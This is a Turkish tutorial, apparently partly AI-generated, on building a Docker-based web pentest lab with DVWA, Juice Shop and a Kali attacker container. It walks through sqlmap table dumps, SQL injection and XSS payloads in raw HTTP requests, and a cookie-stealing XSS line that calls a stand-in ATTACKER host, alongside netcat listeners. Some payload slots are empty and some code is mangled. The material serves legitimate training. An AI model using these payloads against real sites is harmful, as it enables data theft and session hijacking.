2025 Yılında Kullanabileceğiniz Web Tarayıcıları
İnternet, günlük hayatımızın vazgeçilmez bir parçası ve bu devasa düny...
 
        Giriş
Siber güvenlik, özellikle web uygulama güvenliği alanında pratik beceri her şeydir. Teorik bilgiyi pekiştirmenin ve zafiyetleri gerçek dünya senaryolarında keşfetmenin en etkili yolu, kendinize ait bir laboratuvar ortamı kurmaktır. Bu rehberde, Ignitetechnologies’in siber güvenlik yol haritalarından ilham alarak Docker kullanımıyla nasıl hızlı, esnek ve taşınabilir bir web uygulama sızma testi (pentest) laboratuvarı kurabileceğinizi adım adım ele alacağız.
Kendi laboratuvarınızda çalışmak size şunları sağlar:
SQL Injection, XSS, CSRF gibi farklı zafiyet türlerini güvenli ortamda test etme imkânı.
Burp Suite, OWASP ZAP, Nmap gibi araçların gerçek kullanımını öğrenme.
“Kırmızı takım” (saldırı) ve “mavi takım” (savunma) perspektiflerini karşılaştırma.
Yeni keşfedilen zafiyetleri (zero-day v.b.) deneysel olarak analiz etme.
Geleneksel VM tabanlı laboratuvarlar sık kaynak harcar ve kurulumu uzun sürer. Docker ise:
Hız ve hafiflik: Konteynerler saniyeler içinde başlar, az disk/RAM kullanır.
Taşınabilirlik: Dockerfile / docker-compose ile tüm ortam kod olarak taşınır.
İzolasyon: Her uygulama izole konteynerde çalışır; hatalar yayılmaz.
Hazır ekosistem: Docker Hub’da DVWA, bWAPP, Juice Shop gibi hazır zafiyetli uygulamalar bulunur.
Ignitetechnologies’in “Web App Docker” akıl haritasından yola çıkarak temel bileşenler şunlardır:
Saldırgan Makinesi (Attacker Machine): Kali Linux veya Parrot OS tabanlı bir konteyner; Metasploit, Nmap, Burp Suite, sqlmap gibi araçları içerir.
Hedef Uygulamalar (Target Applications): Pratik için örnek uygulamalar:
OWASP Juice Shop — modern JS uygulama zafiyetleri.
DVWA (Damn Vulnerable Web Application) — PHP/MySQL temelli klasik zafiyetler.
bWAPP — 100’den fazla zafiyet.
WebGoat — OWASP tarafından hazırlanmış interaktif eğitim uygulaması.
docker-compose ile tüm konteynerleri tek bir bridge network içinde çalıştır. Bu, saldırgan makinesinin hedeflere erişimini kolaylaştırır ve aynı zamanda laboratuvarı ana sistemden izole eder.
Tüm servisleri docker-compose.yml içinde tanımla.
Laboratuvarı ayağa kaldır: docker-compose up -d
Laboratuvarı durdur: docker-compose down
Laboratuvarı yalnızca izole bir ağda çalıştır; internet’e açık hale getirme.
Öğrenme amaçlı bile olsa, gerçek hedeflere izinsiz saldırma yasa dışıdır. Her zaman yasal ve etik kurallara uy.
Sürüm kontrolü: docker-compose.yml ve Dockerfile’larını git ile takip et.
Anlık görüntü (snapshot): Denemeler öncesi ve sonrası konteyner yapılandırmalarını kaydet.
Loglama: Saldırı ve hedef uygulama loglarını toplayıp karşılaştır — öğrenme çok daha etkili olur.
Otomasyon: Sık kullandığın senaryolar için basit scriptler yaz (başlat/durdur/test raporu oluşturma).
Docker ve Ignitetechnologies gibi kaynakların sunduğu akıl haritaları, modern bir pentest laboratuvarı kurmak için güçlü bir kombinasyon sunar. Kaynakları verimli kullanarak taşınabilir ve tekrarlanabilir bir ortam elde eder, siber güvenlik becerilerinizi hızla geliştirebilirsiniz. Bugün GitHub’daki ilgili repoları ve Docker Hub’daki zafiyetli uygulamaları inceleyerek kendi laboratuvarınızı ayağa kaldırın.
Harika — aşağıda iki bölüm halinde hazırladım:
Hazır, çalıştırılabilir docker-compose.yml örneği (hem Juice Shop hem DVWA dahil, ağ izolasyonu, kalıcı veriler). Bu dosyayı doğrudan kullanıp docker-compose up -d ile laboratuvarı ayağa kaldırabilirsin. (Bazı image isimleri zamanla değişebilir — gerekirse Docker Hub’dan doğrula.)
Daha teknik bölüm: adım adım örnek saldırı senaryoları (SQLi, XSS, CSRF), kullanılan komutlar (sqlmap, Burp Suite, Nmap) ve hangi ekran görüntülerini (screenshot) alman gerektiğine dair net talimatlar. Bu sayede yazıyı hem öğretici hem de pratiğe dönük hale getirebilirsin.
Her şey Türkçe, SEO-dostu ve blogda doğrudan kullanabileceğin formatta. Hadi başlayalım!
docker-compose.yml — Çalışır Örnek (Juice Shop + DVWA + Attacker)Not: Aşağıdaki
docker-compose.ymllaboratuvarı izole bir bridge network üzerinde çalıştırır.attackerservisi Kali tabanlı bir görüntü içerir;juice_shopvedvwaörnek hedef uygulamalardır. DVWA için MySQL servisi eklenmiştir. Eğer başka hedefler (bWAPP, WebGoat vb.) eklenecekse benzer servis blokları eklemen yeterli.
version: "3.8"
services:
  # Attacker machine (lightweight kali)
  attacker:
    image: kalilinux/kali-rolling:latest
    container_name: attacker
    tty: true
    stdin_open: true
    networks:
      - web-lab
    volumes:
      - ./attacker-data:/root
    command: /bin/bash
    restart: unless-stopped
  # OWASP Juice Shop (Node.js app, oyunlaştırılmış)
  juice_shop:
    image: bkimminich/juice-shop:latest
    container_name: juice_shop
    environment:
      - NODE_ENV=development
    ports:
      - "3000:3000"   # yerel tarayıcıdan erişim istersen
    networks:
      - web-lab
    restart: unless-stopped
  # DVWA (Damn Vulnerable Web App) + MySQL
  dvwa_db:
    image: mysql:5.7
    container_name: dvwa_db
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: dvwa
      MYSQL_USER: dvwauser
      MYSQL_PASSWORD: dvwapass
    volumes:
      - dvwa_db_data:/var/lib/mysql
    networks:
      - web-lab
    restart: unless-stopped
  dvwa:
    image: vulnerables/web-dvwa:latest
    container_name: dvwa
    environment:
      - MYSQL_HOST=dvwa_db
      - MYSQL_USER=dvwauser
      - MYSQL_PASSWORD=dvwapass
      - MYSQL_DATABASE=dvwa
    ports:
      - "8081:80"   # yerel tarayıcıdan erişim istersen
    networks:
      - web-lab
    depends_on:
      - dvwa_db
    restart: unless-stopped
  # (İsteğe bağlı) OWASP WebGoat örneği
  webgoat:
    image: webgoat/webgoat:latest
    container_name: webgoat
    ports:
      - "8080:8080"
    networks:
      - web-lab
    restart: unless-stopped
networks:
  web-lab:
    driver: bridge
volumes:
  dvwa_db_data:
  attacker-data:
Kullanım:
Bu dosyayı docker-compose.yml adıyla bir klasöre koy.
Klasörde terminal aç: docker-compose up -d
Servislerin durumunu kontrol et: docker-compose ps veya docker ps
Attacker konteynerine gir: docker exec -it attacker /bin/bash
Juice Shop: http://localhost:3000 — DVWA: http://localhost:8081 — WebGoat: http://localhost:8080
Güvenlik: Laboratuvarı üretim ağından kesinlikle izole et. Bilgisayarın internete bağlıysa bile docker ağı dışarıya açık portlar aracılığıyla erişim olabilir; yalnızca yerelde erişim istiyorsan port yönlendirmelerini kaldır veya firewall kurallarına dikkat et.
Aşağıda üç temel senaryo için adımlar, kullanılacak komutlar, örnek çıktılar ve hangi ekran görüntülerini alman gerektiği yer alıyor. Her bölümde saldırgan konteynerinde çalışacağını varsayıyorum.
Hedef hakkında bilgi topla: açık portlar, servis versiyonları, uygulama rotaları.
Nmap
dirb veya gobuster
curl
Attacker konteynerine gir:
docker exec -it attacker /bin/bash
apt update && apt install -y nmap gobuster curl
(Kali imajında çoğu araç hazır olur; yoksa apt ile yükle.)
Hedef servisleri tara (ör: DVWA dvwa:80, Juice Shop :3000):
nmap -sC -sV -p- --open 172.18.0.0/16
(Yerel ağ IP aralığını kullan. Alternatif olarak nmap -sV dvwa veya nmap -p- $(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' dvwa))
Web dizinleri keşfi:
gobuster dir -u http://localhost:8081 -w /usr/share/wordlists/dirb/common.txt
nmap tarama çıktısı (filename: screenshots/01-nmap.png)
Gobuster sonuçları (screenshots/02-gobuster.png)
Hedef uygulama ana sayfası (DVWA veya Juice Shop) (screenshots/03-target-home.png)
Basit SQLi açığını bulup sqlmap ile veri tabanından veri çekmek.
DVWA’de Security seviyesini Low yap (uygulama içinden ayar).
Giriş yap: (DVWA default kullanıcı genelde admin/password).
Hedef formu tespit et (ör: http://localhost:8081/vulnerabilities/sqli/).
sqlmap ile test:
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=; security=low" --dbs --batch
--cookie ile oturum bilgisi ver; --batch otomatik onaylar.
Belirli bir veritabanını çek:
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." -D dvwa --tables
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump
Vulnerable form sayfası (screenshots/10-dvwa-sqli-form.png)
sqlmap tarama sonucu (dbs/list) (screenshots/11-sqlmap-dbs.png)
dump edilmiş tablo örneği (screenshots/12-sqlmap-dump.png)
DVWA gibi uygulamalarda önce "Create / Reset DB" butonunu kullan.
Her komutta --threads veya --tamper parametreleriyle sqlmap hassas kontrol sağlayabilirsin.
Reflected veya Stored XSS tespiti, PoC payload ile tarayıcıda JavaScript çalıştırma.
Basit payload:
Burp Suite (proxy) veya OWASP ZAP
Tarayıcıyı attacker üzerinden çalıştırıyorsan veya host tarayıcıyı kullanıyorsan Burp/ZAP proxy ayarla. (Burp: 127.0.0.1:8080)
Hedef form veya yorum alanına payload gönder:
(PoC için alert kullan; veri sızdırma senaryosu daha sofistike.)
Burp Repeater ile payload’ı manipüle et ve cevapları incele.
Injection yapılmış input alanı (screenshots/20-xss-input.png)
Tarayıcıda açılan alert veya başarılı PoC (screenshots/21-xss-alert.png)
Burp Proxy history ve isteğin payload ile görünümü (screenshots/22-burp-request.png)
Stored XSS'de payload hedef veritabanına kaydolur; sayfa her ziyaret edildiğinde çalışır.
Modern tarayıcılar içerik güvenlik politikaları (CSP) uygulayabilir — Juice Shop sandbox ortamında çoğu test serbesttir.
Basit bir CSRF PoC ile oturumlu kullanıcıya istenmeyen işlem yaptırmak.
DVWA gibi uygulamada oturum aç (ör: admin).
Hedef işlem var mı (ör: şifre değişikliği, ip çalma)? Bul.
Basit CSRF HTML dosyası hazırla:
  
    
    
  
İşlemi oturum açıkken kullanıcı ziyaret ederse (ve uygulamada CSRF token yoksa) işlem gerçekleşir.
Hedef işlem formu (screenshots/30-csrf-form.png)
PoC HTML'in sunulması ve başarılı sonuç (screenshots/31-csrf-success.png)
Her testten sonra başarılı adımları not al, hangi payloadlar işe yaradı, hangi header’lar değiştirildi.
Oturum ve uygulama loglarını /var/www/html/.../logs veya ilgili storage’dan topla.
Basit Markdown tabanlı rapor oluştur: bulgu, risk seviyesi, istismarın tekrarı, düzeltme önerisi.
Örnek rapor başlıkları:
Özet (Executive Summary)
Test kapsamı ve metodoloji
Buluntular (CVE benzeri format: ID, Description, Risk, Reproduction, Fix)
Ekran görüntüleri ve veri dökümleri
Sonuç ve öneriler
Tarayıcı penceresini tam ekran kullan.
png formatı tercihi: screenshots/-.png.
Her ekran görüntüsünde tarih ve saat olsun — OS saat dilimine göre ekleyebilirsin.
Terminal çıktıları için terminal fontunu büyüt ve arka planı temizle; uzun çıktıları kırpma, önemli kısımları ekle.
Dockerfile — özel attacker imageNot: Burp Suite Community / Professional
.jardosyası telifli olduğundan bu imaja otomatik indirilmeye çalışılmaz. Eğer Burp kullanmak istersenburpsuite_community.jar(veya pro) dosyasını build context’e koyup--build-arg INCLUDE_BURP=yesile build edebilirsin. Alternatif olarak OWASP ZAP (açık kaynak) otomatik kurulur.
# Dockerfile.attacker
FROM kalilinux/kali-rolling
ARG INCLUDE_BURP=no
ARG BURP_JAR=burpsuite.jar
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
    python3 python3-pip git curl wget net-tools iputils-ping \
    default-jre-headless openjdk-11-jre-headless \
    sqlmap chromium \
    xvfb x11vnc supervisor unzip \
    zaproxy \
    && apt-get clean && rm -rf /var/lib/apt/lists/*
# pip araçları (isteğe bağlı)
RUN pip3 install --upgrade pip && pip3 install requests
# Çalışma dizini
WORKDIR /root
# Eğer build arg ile burp eklenmişse kopyala (kullanıcı kendi yerel jar'ını sağlamalı)
# Not: Dockerfile içinde telifli dosyaların otomatik indirilmesi uygun değildir.
ARG INCLUDE_BURP
COPY ${BURP_JAR} /opt/burp/${BURP_JAR}
# Basit bir başlatma scripti: shell açmak için
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
RUN chmod +x /usr/local/bin/docker-entrypoint.sh
# Portlar (ör. Burp GUI için 8081, VNC için 5900 vs. isteğe bağlı)
EXPOSE 5900 8081
ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]
CMD ["/bin/bash"]
docker-entrypoint.sh (aynı klasörde oluştur):
#!/bin/bash
# Basit entrypoint: kullanıcı interaktif shell alır.
# Eğer burp jar varsa uyarı ver.
if [ -f /opt/burp/burpsuite.jar ]; then
  echo "[*] burp.jar bulundu: /opt/burp/burpsuite.jar"
  echo "[*] GUI kullanmak istersen X11 yönlendirme veya VNC kur."
else
  echo "[*] burp.jar bulunamadı. OWASP ZAP kurulu, burp kullanmak için burpsuite jar'ını build context'e ekleyip yeniden build et."
fi
# Shell aç
exec "$@"
Açıklama: imaj Kali tabanlıdır. İçinde
sqlmap,chromium(headless),zaproxyyüklü.burpsuite.jarkullanmak istersen bu jar dosyasını Dockerfile ile aynı klasöre koy ve build arg kullan.
docker-compose.yml — özel attacker ile entegreAşağıdaki docker-compose.yml örneği, attacker imajını build eder ve daha önce verdiğimiz DVWA / Juice Shop servisleriyle aynı ağda çalıştırır.
version: "3.8"
services:
  attacker:
    build:
      context: .
      dockerfile: Dockerfile.attacker
      args:
        INCLUDE_BURP: "no"   # eğer burp.jar koyduysan "yes" yap
        BURP_JAR: "burpsuite.jar"
    image: weblab/attacker:latest
    container_name: attacker
    tty: true
    stdin_open: true
    networks:
      - web-lab
    volumes:
      - ./attacker-data:/root
      - /tmp/.X11-unix:/tmp/.X11-unix   # X11 forward için (opsiyonel)
    environment:
      - DISPLAY=${DISPLAY}   # host X11 forward için
    command: /bin/bash
    restart: unless-stopped
  juice_shop:
    image: bkimminich/juice-shop:latest
    container_name: juice_shop
    environment:
      - NODE_ENV=development
    ports:
      - "3000:3000"
    networks:
      - web-lab
    restart: unless-stopped
  dvwa_db:
    image: mysql:5.7
    container_name: dvwa_db
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: dvwa
      MYSQL_USER: dvwauser
      MYSQL_PASSWORD: dvwapass
    volumes:
      - dvwa_db_data:/var/lib/mysql
    networks:
      - web-lab
    restart: unless-stopped
  dvwa:
    image: vulnerables/web-dvwa:latest
    container_name: dvwa
    environment:
      - MYSQL_HOST=dvwa_db
      - MYSQL_USER=dvwauser
      - MYSQL_PASSWORD=dvwapass
      - MYSQL_DATABASE=dvwa
    ports:
      - "8081:80"
    networks:
      - web-lab
    depends_on:
      - dvwa_db
    restart: unless-stopped
networks:
  web-lab:
    driver: bridge
volumes:
  dvwa_db_data:
  attacker-data:
Dockerfile.attacker, docker-entrypoint.sh ve docker-compose.yml aynı dizine koy.
Eğer Burp kullanacaksan: kendi burpsuite.jar dosyanı bu dizine koy (örnek adı burpsuite.jar) ve docker-compose.yml içinde INCLUDE_BURP arg'ını yes yap veya build komutunda ver. (Yine: Burp jar telifli — yalnızca kendi indirdiğin jar'ı kullan.)
Build & run:
# İmajı build et
docker-compose build attacker
# Tüm servislere boot ver
docker-compose up -d
Attacker içine gir:
docker exec -it attacker /bin/bash
(Opsiyonel) Eğer GUI uygulamaları çalıştıracaksan:
Kolay yol: kendi makinanızda Burp çalıştırıp proxy (127.0.0.1:8080 vs) ayarlarsın; tarayıcıyı host üzerinde tutup http://localhost:3000/8081 adreslerine istek gönderdiğinde Burp ile görürsün.
Konteyner içinde Burp GUI çalıştırmak istersen X11 veya VNC yönlendirmesi yap; bu detaylı kurulum istersen ek olarak ekleyebilirim.
Önkoşul: DVWA çalışıyor (
http://localhost:8081) ve DVWA DB oluşturulmuş. Tarayıcıdan DVWA’ye eriş, admin ile giriş yap (varsayılan:admin/passwordveya DVWA arayüzünde kullanıcı oluştur). DVWA security seviyesini Low yap.
Hedef form: http://localhost:8081/vulnerabilities/sqli/ (DVWA örneği)
Attacker konteynerinde terminal:
# sqlmap kurulu mu kontrol
which sqlmap || python3 -m pip install sqlmap
Önce form ile manuel test: input alanına ' OR '1'='1 gibi payload gir ve sonucu gözlemle.
Tarayıcıda DVWA'ya giriş yap.
Developer Tools -> Application -> Cookies -> PHPSESSID ve security değerlerini kopyala.
Örnek cookie:
PHPSESSID=abcd1234; security=low
Basit DB keşfi:
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" --dbs --batch
--dbs : veritabanlarını listeler
--batch : interaktif istemleri otomatik cevaplar
Belirli veritabanındaki tabloları listele:
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa --tables --batch
Tablo içeriğini dök:
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa -T users --dump --batch
Eğer id parametresi otomatik saptanmazsa -p id kullan:
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" -p id --cookie="..." --dbs --batch
--dbs çıktısında dvwa vb. göreceksin.
--dump ile users tablosuna ait satırlar çıkar: kullanıcı adları, şifre hashleri (DVWA örneğinde basit hashler olabilir).
--threads=5 : hız
--risk=3 --level=5 : daha agresif test
--tamper=space2comment : WAF/filtre atlatma (öğrenmek için)
Juice Shop veya DVWA’sa reflected vektörler olabilir. Örnek: URL parametreleri ile payload.
Basit payload test:
http://localhost:3000/#/search?q=
Juice Shop modern SPA olduğundan DOM-based XSS olabilir; alert çalışıyorsa başarılıdır.
Juice Shop veya DVWA’da yorum ekleme/feedback alanı bul.
Payload olarak:
Gönder ve hedef sayfayı yeniden yükleyip payload’un çalıştığını doğrula.
Aşağıdaki template DVWA reflected örneği için basit bir GET isteği. Burp Proxy ile yakala veya doğrudan Repeater’e yapıştır.
GET /vulnerabilities/xss_r/?name= HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: PHPSESSID=abcd1234; security=low
Repeater’de gönder ve dönen HTML içinde payload’ın çıktısını kontrol et. Eğer HTML encode edilmemişse alert çalışacaktır.
Örnek: bir yorum formuna POST istek atma (DVWA gibi):
POST /vulnerabilities/xss_s/ HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: PHPSESSID=abcd1234; security=low
name=&message=hello&Submit=Submit
Repeater ile isteği gönder. Eğer sayfa daha sonra bu mesajları listeliyorsa, payload'ın çalışıp çalışmadığını kontrol et.
PoC payload (stored) — açılır pencereden ziyade cookie’yi attacker sunucusuna gönder:
Not: ATTACKER_IP yerine attacker’ın IP’sini veya host’un reachable adresini yaz. Attacker tarafında basit HTTP sunucu aç:
# attacker konteynerinde basit dinleme
python3 -m http.server 8080
# veya netcat
nc -lvnp 8080
GUI çalıştırmak istersen: en kolay yol host makinanda Burp Suite çalıştırıp tarayıcını (host) Burp proxy’ye yönlendirmek ve tarayıcıdan http://localhost:3000/8081 gibi adreslere erişmektir. Böylece Burp trafiği görebilir, Repeater, Intruder vb. kullanabilirsin.
Konteyner içinde GUI çalıştırmak: X11 forwarding (Linux host) veya VNC kurup VNC client ile bağlanma gerekir — bunun için ekstra konfigürasyon istenir.
Burp jar konteyner içinde: java -jar /opt/burp/burpsuite.jar çalıştırılır (eğer jar kopyalandıysa). GUI için X11 veya VNC gerekli.
Proxy + docker network: Host tarayıcısından yaptığın istekler doğrudan konteynerin host-mapped portlarına gider. Eğer Burp konteyner içindeyse ve host tarayıcıdan kullanacaksan, Burp’ın dinlediği portu ports: ile expose et veya ağ ayarlarını kontrol et.
Not: Burp Suite
.jartelifli olduğu için Dockerfile otomatik indirme yapmaz. Eğer Burp kullanacaksan, kendi indirdiğinburpsuite.jardosyasını bu build context’e koy. Alternatif olarakINCLUDE_BURP=nobırakıp sadece ZAP kullanabilirsin.
Dockerfile.gui (kök dizine koy)# Dockerfile.gui
FROM kalilinux/kali-rolling
ARG BURP_JAR=burpsuite.jar
ARG INCLUDE_BURP=no
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
    xfce4 xfce4-terminal fluxbox x11vnc novnc websockify \
    python3 python3-pip git curl wget net-tools iputils-ping \
    default-jre-headless openjdk-11-jre-headless \
    sqlmap chromium pulseaudio supervisor unzip \
    && apt-get clean && rm -rf /var/lib/apt/lists/*
# pip araçları
RUN pip3 install --upgrade pip && pip3 install websockify
# çalışma dizini
WORKDIR /root
# Burp jar (isteğe bağlı, build context'e koy)
ARG INCLUDE_BURP
COPY entrypoint-gui.sh /usr/local/bin/entrypoint-gui.sh
RUN chmod +x /usr/local/bin/entrypoint-gui.sh
# Eğer kullanıcı burp jar'ını koyduysa kopyala (opsiyonel)
COPY ${BURP_JAR} /opt/burp/${BURP_JAR}
EXPOSE 5901    # VNC
EXPOSE 6080    # noVNC (web client)
EXPOSE 8080    # Burp proxy listener (host access)
VOLUME ["/root"]
ENTRYPOINT ["/usr/local/bin/entrypoint-gui.sh"]
CMD ["/bin/bash"]
entrypoint-gui.sh (aynı dizine koy)#!/bin/bash
set -e
# Basit fluxbox + x11vnc + noVNC başlatma entrypoint
DISPLAY_NUM=1
DISPLAY=":${DISPLAY_NUM}"
# Fluxbox config yoksa default
mkdir -p /root/.vnc
# Başlatma komutları
# 1) X server (Xvfb) yerine doğrudan fluxbox ile kullanılabilecek hafif çözüm:
# Fluxbox ile bir X sunucusu gereklidir; burada Xvfb yerine Xorg yerine xfce4-session ele aldık.
# Basit ve yaygın yaklaşım: start fluxbox in background using Xvfb
Xvfb ${DISPLAY} -screen 0 1024x768x24 &
export DISPLAY=${DISPLAY}
# Başlat fluxbox
fluxbox &
# Başlat x11vnc (VNC erişimi)
x11vnc -display ${DISPLAY} -forever -nopw -rfbport 5901 -shared &
# Başlat noVNC (web üzerinden VNC)
# websockify ile 5901 -> 6080
websockify --web=/usr/share/novnc/ 6080 localhost:5901 &
# Eğer burp jar varsa arka planda başlat (GUI için açılacak pencerede çalışır)
if [ -f /opt/burp/${BURP_JAR} ] && [ "${INCLUDE_BURP}" != "no" ]; then
  echo "[*] Burp jar bulundu, başlatılıyor..."
  # Burp GUI'nin aynı X display üzerinde başlaması için:
  java -jar /opt/burp/${BURP_JAR} &>/root/burp.log &
else
  echo "[*] Burp jar yok veya INCLUDE_BURP=no. Burp kullanmak istiyorsan burpsuite.jar dosyasını build context'e koy ve INCLUDE_BURP arg'ını yes yap."
fi
# Eğer Burp proxy olarak çalıştırmak istersen portu expose et (genelde GUI üzerinden ayarlanır).
# Bekle ve container interaktif shell ver
exec "$@"
Açıklama: bu entrypoint basit bir setup sağlar: Xvfb (virtual X), fluxbox pencere yöneticisi, x11vnc ve noVNC. noVNC tarayıcıdan VNC erişimi sağlar:
http://HOST:6080ile tarayıcıda GUI görebilirsin. Burp GUI çalıştırılacaksa jar dosyası container içinde/opt/burp/konumunda olmalı ve build arg ileINCLUDE_BURPayarlanmalı.
docker-compose.yml (GUI attacker entegre)Kök dizine aşağıyı koy:
version: "3.8"
services:
  attacker_gui:
    build:
      context: .
      dockerfile: Dockerfile.gui
      args:
        INCLUDE_BURP: "yes"   # burp jar koyduysan "yes" yap; yoksa "no"
        BURP_JAR: "burpsuite.jar"
    image: weblab/attacker-gui:latest
    container_name: attacker_gui
    tty: true
    stdin_open: true
    ports:
      - "5901:5901"   # VNC (optional)
      - "6080:6080"   # noVNC web UI
      - "8080:8080"   # Burp proxy listener (expose edilecek)
    volumes:
      - ./attacker-data:/root
    networks:
      - web-lab
    restart: unless-stopped
  # (önceki hedefler: juice_shop/dvwa vb. buraya eklenir)
  dvwa_db:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: dvwa
      MYSQL_USER: dvwauser
      MYSQL_PASSWORD: dvwapass
    volumes:
      - dvwa_db_data:/var/lib/mysql
    networks:
      - web-lab
  dvwa:
    image: vulnerables/web-dvwa:latest
    environment:
      - MYSQL_HOST=dvwa_db
      - MYSQL_USER=dvwauser
      - MYSQL_PASSWORD=dvwapass
      - MYSQL_DATABASE=dvwa
    ports:
      - "8081:80"
    depends_on:
      - dvwa_db
    networks:
      - web-lab
  juice_shop:
    image: bkimminich/juice-shop:latest
    ports:
      - "3000:3000"
    networks:
      - web-lab
networks:
  web-lab:
    driver: bridge
volumes:
  dvwa_db_data:
  attacker-data:
# Build attacker-gui image (burp jar'ını koyduysan INCLUDE_BURP=yes)
docker-compose build attacker_gui
# Boot up
docker-compose up -d
noVNC (web VNC): http://localhost:6080 — tarayıcıdan fluxbox masaüstüne eriş.
VNC client: vnc://localhost:5901 (parolasız, dikkat: yalnızca yerelde ve izole ağda kullan).
Burp proxy portu konteynerde otomatik ayarlanmaz — Burp GUI içinde Proxy -> Options kısmından Listener ekleyip 0.0.0.0:8080 dinlemesini aç; böylece host http://localhost:8080 üzerinden Burp proxy’ye ulaşabilir.
En kolay, sağlam ve pratik yol: Burp GUI’yi container içinde noVNC üzerinden aç, Burp GUI içinden Proxy → Options → Add → Listener 0.0.0.0:8080 şeklinde ekle. Sonra host tarayıcıyı şu şekilde ayarla:
Host tarayıcında HTTP proxy ayarını localhost port 8080 yap. Örneğin:
Firefox: Settings → Network Settings → Manual proxy configuration → HTTP Proxy: 127.0.0.1, Port: 8080.
Chrome: Sistem proxy ayarını kullan — işletim sistemine göre ayarla (Windows: Internet Options → LAN settings; Linux: env veya GNOME network settings).
Burp CA sertifikasını (TLS intercept için) host tarayıcıya yükle:
noVNC ile Burp GUI’ye gir: http://localhost:6080 → Burp aç.
Burp → Proxy → Intercept açıkken host tarayıcıdan herhangi bir HTTPS siteye git; Burp otomatik olarak HTTPS trafiğini durdurursa, Burp’un CA sertifikasını export et: Burp → Proxy → Options → CA Certificate → Export / Save veya http://burp (Burp’un embedded CA web sayfası).
Host tarayıcıya bu sertifikayı güvenilir CA olarak yükle (testlab için geçici).
Artık host tarayıcı ile normal şekilde http://localhost:8081 (DVWA) veya http://localhost:3000 (Juice Shop) adreslerine gidip tüm trafiğin Burp üzerinden geçtiğini gözlemleyebilirsin. Burp GUI noVNC içinde görünüyor; proxy portu host’a açık olduğu için X11 yönlendirmeye gerek yok.
Özet: noVNC ile Burp GUI’ye bağlan → Burp içinde proxy listener aç
0.0.0.0:8080→ host tarayıcıda proxy ayarla → (isteğe bağlı) Burp CA’yı host tarayıcıya yükle.
Aşağıdaki istekleri Burp Proxy ile yakala veya doğrudan Repeater’a yapıştır. Cookie satırını kendi çalışır oturum PHPSESSID ile değiştir ve Host/URL’leri kendi ortamına göre ayarla (localhost:8081 DVWA örneği).
sqli)GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
Cookie: PHPSESSID=REPLACE_WITH_YOUR_SESSION; security=low
Repeater içinde id=1 yerine şu payload’ı koy:
id=1' OR '1'='1
Yani satırı şu hale getir:
GET /vulnerabilities/sqli/?id=1'%20OR%20'1'='1&Submit=Submit HTTP/1.1
(Repeater’de URL encode/encode etmeye dikkat et; doğrudan body veya param alanına yazabilirsin.)
Eğer uygulama id parametresini doğrudan SQL sorgusuna ekliyorsa ve filtrasyon yoksa, sorgu tüm kayıtları döndürebilir. HTML çıktı bölümünde daha fazla sonuç veya DB satırı görürsün.
Hata tabanlı SQLi’de SQL hatası mesajları (MySQL error) dönebilir; örn. You have an error in your SQL syntax gibi.
Ekran görüntüsü (metin şeklinde):
screenshots/sqli-repeater-response.txt içeriği örneği: HTML içerisinde username veya user id listesi, ya da SQL error trace.
Örnek beklenen satır: User ID: 1 - admin veya SQL syntax error near 'OR '1'='1'.
Payload: id=1' AND 1=1 -- - ve id=1' AND 1=2 -- - farkını kontrol et. 1=1 ile sayfa normal döner, 1=2 ile içerik değişiyorsa boolean-based SQLi.
POST /some/vuln/post.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: PHPSESSID=REPLACE; security=low
id=1&name=foo
id=1 → id=1' OR '1'='1
Gönder ve response içinde beklenen: fazla kayıt, DB verileri ya da hata mesajları.
GET /vulnerabilities/xss_r/?name=<script>alert('XSS')</script> HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
Cookie: PHPSESSID=REPLACE; security=low
Eğer site payload’ı HTML içinde encode etmeden geri döndürüyorsa, tarayıcıda alert('XSS') çalışır. Repeater response HTML gövdesinde <script> yerine direkt <script>alert('XSS')</script> görünmeli.
Ekran görüntüsü (metin): screenshots/xss-repeater-response.txt içeriğinde: <h2>Hello <script>alert('XSS')</script></h2> veya benzeri.
PoC ekran görüntüsü metni: “Tarayıcıda açılan alert penceresi: alert('XSS')” — (metin açıklaması).
Tarayıcı alert çalışması en basit PoC’dur; gerçek exfiltration için payload new Image().src="http://ATTACKER:PORT/?c="+document.cookie gibi olabilir.
POST /vulnerabilities/xss_s/ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Cookie: PHPSESSID=REPLACE; security=low
name=<script>alert('STOREDXSS')</script>&message=Hello%20world&Submit=Submit
Repeater gönderiminden sonra sayfayı görüntüleyen başka bir kullanıcı/oturum payload'ı tetikler. HTML içerisinde depolanmış <script>alert('STOREDXSS')</script> görülür.
